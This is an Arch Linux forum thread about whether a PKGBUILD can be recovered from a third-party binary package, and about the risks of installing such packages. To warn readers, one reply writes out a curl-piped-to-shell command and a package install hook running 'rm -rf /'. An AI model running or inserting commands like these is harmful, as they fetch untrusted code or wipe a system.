You are not logged in.
Pages: 1
Downloaded a package. Extracted it. But there was no PKGBUILD. So, is there any way to get PKGBUILD from that package?
Offline
Look at the "Source Files" link for every package page on the website, or more conveniently: https://wiki.archlinux.org/index.php/Arch_Build_System
Last edited by V1del (2020-08-04 15:34:16)
Offline
I didn't download from Official repository or AUR. So, can I get it?
Offline
Then you need to be more specific about what you are talking about. What's the "package" ? And no, if the provider didn't supply the PKGBUILD you aren't going to be able to reconstruct that just from the package (...outside of obvious metadata like dependencies and descriptions and the like)... Granted you are talking about an Arch package, which I'm not sure anymore?
There are many packaging formats and ways of installing software in the linux world, if you aren't talking specifically about an Arch package there could be any number of differences here.
Last edited by V1del (2020-08-04 16:26:17)
Offline
I am talking about arch package(pkgname.pkg.tar.xz). On fedora you can view spec file using rpmrebuild. So, I am asking is there any package or anything available to see the PKGBUILD?
Offline
https://wiki.archlinux.org/index.php/Ar … ILD_source
Assumes the package comes from core/extra/community not the AUR or third-party distributors.
Last edited by eschwartz (2020-08-06 03:48:08)
Managing AUR repos The Right Way -- aurpublish (now a standalone tool)
Offline
The OP already said this didn't come from the repos (or the AUR). So the answer is, no, there is no way to automatically (re)generate a PKGBUILD from a built package.
If this came from a third party source, it's possible that they didn't even use a PKGBUILD to build it.
But again, why are you being secretive about where this came from or what it is? If you actually want help, provide more information.
Last edited by Trilby (2020-08-06 13:09:26)
"UNIX is simple and coherent" - Dennis Ritchie; "GNU's Not Unix" - Richard Stallman
Offline
Downloaded a package. Extracted it. But there was no PKGBUILD. So, is there any way to get PKGBUILD from that package?
Arch packages contain metadata in these files: .PKGINFO (package metadata), .MTREE (list of filenames with e.g. permissions in package for pacman -Qkk), .BUILDINFO (data necessary to reproduce the package bit-for-bit from source if you have the PKGBUILD as well).
The build instructions (PKGBUILD) and source files are not needed to install a binary package and therefore not included.
On fedora you can view spec file using rpmrebuild.
As far as I know, rpmrebuild just shows either the package metadata contained in an rpm or rebuilds the metadata from the data stored in the package manager database. There is no way to get the real spec file if the package does not contain it (only source-rpms should contain a spec file).
.MTREE and .PKGINFO could be somewhat recreated from the files "desc" and "mtree" in /var/lib/pacman/local/$package/
An old tool to do that was repacman
Last edited by progandy (2020-08-06 14:38:33)
| alias CUTF='LANG=en_XX.UTF-8@POSIX ' | alias ENGLISH='LANG=C.UTF-8 ' |
Offline
The OP already said this didn't come from the repos (or the AUR). So the answer is, no, there is no way to automatically (re)generate a PKGBUILD from a built package.
If this came from a third party source, it's possible that they didn't even use a PKGBUILD to build it.
But again, why are you being secretive about where this came from or what it is? If you actually want help, provide more information.
I am talking about arch package(pkgname.pkg.tar.xz). On fedora you can view spec file using rpmrebuild. So, I am asking is there any package or anything available to see the PKGBUILD?
I don't know what rpmrebuild is, but since rpm packages don't contain the spec file, if it is viewing any spec file it does it by downloading the official one.
I'm deeply confused by what is supposed to be happening here.
Managing AUR repos The Right Way -- aurpublish (now a standalone tool)
Offline
Seems rpmrebuild generates a spec file that will replicate what is installed on a system from files extracted to a tmpdir.
As the pacman database tracks all files owned by a package you could do something similar to create a package but that would not be the same as the original PKGBUILD used to generate the package.
[1] http://rpmrebuild.sourceforge.net/
[2] https://linux.die.net/man/1/rpmrebuild
Offline
As the pacman database tracks all files owned by a package you could do something similar to create a package but that would not be the same as the original PKGBUILD used to generate the package.
I just saw rvrspkg in the AUR.
Last edited by progandy (2020-08-06 20:40:33)
| alias CUTF='LANG=en_XX.UTF-8@POSIX ' | alias ENGLISH='LANG=C.UTF-8 ' |
Offline
so basically bacman, or fakepkg as @edh renamed it. That's not getting a PKGBUILD from a package though, that's getting a package from an installed system. Completely useless for the OP's nominal request.
Managing AUR repos The Right Way -- aurpublish (now a standalone tool)
Offline
Being a third party made package it’s even a bad idea just to install something that you don’t even known how it got compiled in the first place. ![]()
And if the intention is born from the fact that you don’t trust the package...I don’t need to say the obvious do I?
Even if you’d be a fool and install it, it’s probably partial upgrade material...unless it’s some script thingy...
Offline
GaKu999, all of your critiques would apply to a substantial portion of AUR packages with PKGBUILDs available that install precompiled binary. While accepting a precompiled binary does carry some risks, it is not uncommon among AUR packages, and it is tangential to this thread.
"UNIX is simple and coherent" - Dennis Ritchie; "GNU's Not Unix" - Richard Stallman
Offline
There's a very relevant line in his comment, though:
if the intention is
The OP *thinks* he'd like to see the PKGBUILD that built a certain, undisclosed package. But as you pointed out earlier: there's no requirement for this buildsystem to have been used itfp.
What brings us to the question at core of this thread: which information the OP is actually interested in.
Offline
GaKu999, all of your critiques would apply to a substantial portion of AUR packages with PKGBUILDs available that install precompiled binary. While accepting a precompiled binary does carry some risks, it is not uncommon among AUR packages, and it is tangential to this thread.
You said AUR package, you can see what’s included, what’s being patched if open source and from where the binary blob is coming from.
That’s why I said third-party, unknown entity packaged unknown software from which OP has given no details or maybe doesn’t even known the details...
And since there’s absolutely no information from OP, I can only assume malware...
Now back on topic, if the package does not contain the relevant pacman files, then it’s not a pacman package, making this thread pointless...and OP has said nothing...
You can make this question generic to:
“Can you see/generate the Makefile/$buildscript that made this piece of software?”
I don’t need to answer...take into consideration that any arbitrary amount of actions can be done on the source code before compilation begins...
By lack of details I leave the answer of this thread to a big NOPE...for now at least...
Offline
Trilby wrote:GaKu999, all of your critiques would apply to a substantial portion of AUR packages with PKGBUILDs available that install precompiled binary. While accepting a precompiled binary does carry some risks, it is not uncommon among AUR packages, and it is tangential to this thread.
You said AUR package, you can see what’s included, what’s being patched if open source and from where the binary blob is coming from.
That’s why I said third-party, unknown entity packaged unknown software from which OP has given no details or maybe doesn’t even known the details...
How is this different from some company's mysterious .deb which is extracted by makepkg and copied directly into "$pkgdir"?
And since there’s absolutely no information from OP, I can only assume malware...
That's a very wild assumption, there's absolutely no information on how you formulated this hypothesis. I conclude that you are malware! /s
Now back on topic, if the package does not contain the relevant pacman files, then it’s not a pacman package, making this thread pointless...and OP has said nothing...
Can you define your use of the technical term "relevant pacman files"? I've never heard it before, and thus far I've failed to guess what it refers to.
You can make this question generic to:
“Can you see/generate the Makefile/$buildscript that made this piece of software?”
I don’t need to answer...take into consideration that any arbitrary amount of actions can be done on the source code before compilation begins...By lack of details I leave the answer of this thread to a big NOPE...for now at least...
Those arbitrary amount of actions are otherwise known as a build script. Compilation, too, is an arbitrary action. Which compiler, which options, do you use a perl program to generate assembly code and run the compiler on that, or let the compiler generate assembly from C/C++ ...
I'm not sure why you seem to think the request is invalid. Source packages (provided by the binary vendor) exist for precisely this reason.
Managing AUR repos The Right Way -- aurpublish (now a standalone tool)
Offline
You said AUR package, you can see what’s included, what’s being patched if open source and from where the binary blob is coming from.
I said a substantial portion of AUR packages - clearly not all - and I even explicitly made clear that I was referring to packages distributing pre-compiled binaries. I stand by my claims that there is no difference in risk between the ready-made *.pkg.tar.xz and a PKGBUILD assembling precompiled materials. It's not open source, and yes you can see where the binary blob is coming from, just like one knows exactly where they downloaded a pre-assembled *.pkg.tar.xz. All you'd get from the PKGBUILD for a precompiled binary is whether the author used `cp` or `install` to move resources into place in the filesystem. What is packaged, where it's from, and where in the filesystem it is destined to be installed is just as apparent in a *.pkg.tar.xz as it is with an AUR package for precompiled material.
So my assessment is, again, that the OP - nor anyone else - should be no more skeptical of a source handing you a *.pkg.tar.xz than you would be installing a precompiled binary from the AUR with a PKGBUILD. I can't say how skeptical one should be of these - they do warrant some caution - but only that there is nothing particular to the OPs situation that makes it categorically different from a precompiled AUR package as you imply.
"UNIX is simple and coherent" - Dennis Ritchie; "GNU's Not Unix" - Richard Stallman
Offline
So my assessment is, again, that the OP - nor anyone else - should be no more skeptical of a source handing you a *.pkg.tar.xz than you would be installing a precompiled binary from the AUR with a PKGBUILD. I can't say how skeptical one should be of these - they do warrant some caution - but only that there is nothing particular to the OPs situation that makes it categorically different from a precompiled AUR package as you imply.
I'd even go one step further. The precompiled *.pkg.tar.xz is safer than the PKGBUILD. The latter (PKGBUILD) evaluates arbitrary shell code before producing the former (*.pkg.tar.xz).
The *.pkg.tar.xz can be heuristically parsed with 100% accuracy to see if it contains:
install scriptlets executing custom code
hooks executing custom code
manifested files of a type that *could* potentially contain dangerous runtime security issues
setuid binaries
/etc/profile.d scripts
enabled service manager services (systemd unit symlinks to *.wants/ directories, on Arch)
much more easily than eyeballing the PKGBUILD.
(Yes, either way this does not tell you if the actual program is safe to use. But you have *some* protection in that those presumably only run as the user, not root. And maybe only in bwrap or as a locked-down secondary user.)
Managing AUR repos The Right Way -- aurpublish (now a standalone tool)
Offline
How is this different from some company's mysterious .deb which is extracted by makepkg and copied directly into "$pkgdir"?
At least you can check said company...instead of $randomdude with no info anywhere...
And the AUR comments may say "Hey this is Malware!" and get reported and deleted...
Anyways I don't want to cover that in more depth because it's not related to this thread...
That's a very wild assumption, there's absolutely no information on how you formulated this hypothesis. I conclude that you are malware! /s
Would you install wine to run "http://getyourallan.com/allan.exe"?
Or "curl http://allanoverhere.net/allan.sh | sh"?
"Oooh I send PING that made forum go brrr and say BO to Allan on login
" (ghostware)
That was indeed a wild guess, but idk what the heck OP haves, better be wary than fsck the system...
Can you define your use of the technical term "relevant pacman files"? I've never heard it before, and thus far I've failed to guess what it refers to.
My bad, how do you call these?
$ ls -l /var/lib/pacman/local/pacman-5.2.2-1
total 40
-rw-r--r-- 1 root root 531 Jul 19 21:17 desc
-rw-r--r-- 1 root root 13190 Jul 19 21:17 files
-rw-r--r-- 1 root root 18614 Jun 30 21:52 mtreePacman metadata?
I'm not sure why you seem to think the request is invalid. Source packages (provided by the binary vendor) exist for precisely this reason.
Because there's no more information from OP, if there's no source code or repository available for said package, there's no way to hack your way trough that isn't it?
You can't make a buildscript from binary showing everything that was done to the unavailable source code to make such binary can you?
That right now is OP's request with the lack of information...which can change, that's why I said "for now at least".
@Trilby: I need more precision to make it clearer...lets say package foo includes as install:
#!/bin/bash
post_install() { rm -rf / ; }A Pacman package is capable of arbitrary code execution during installation and can get anyone by surprise, that's why it's more dangerous than some malware sitting there, it won't do anything unless you execute it, but the package will do said actions during installation...
That's the reason why I recommend being wary from such packages, even more than some .deb file...
Still that install is very obvious and quite visible...
EDIT: too slow and @eschwartz covered the last bit better...
Last edited by GaKu999 (2020-08-07 17:11:16)
Offline
I dunno if this helps, but once I wanted to try a game under development, and they provided a .deb package. Using https://aur.archlinux.org/packages/debtap/ did the trick to create an equivalent pacman package. It seems that by passing -p or -P a PKGBUILD can be generated, but I never tried that.
Behemoth, wake up!
Offline
Pages: 1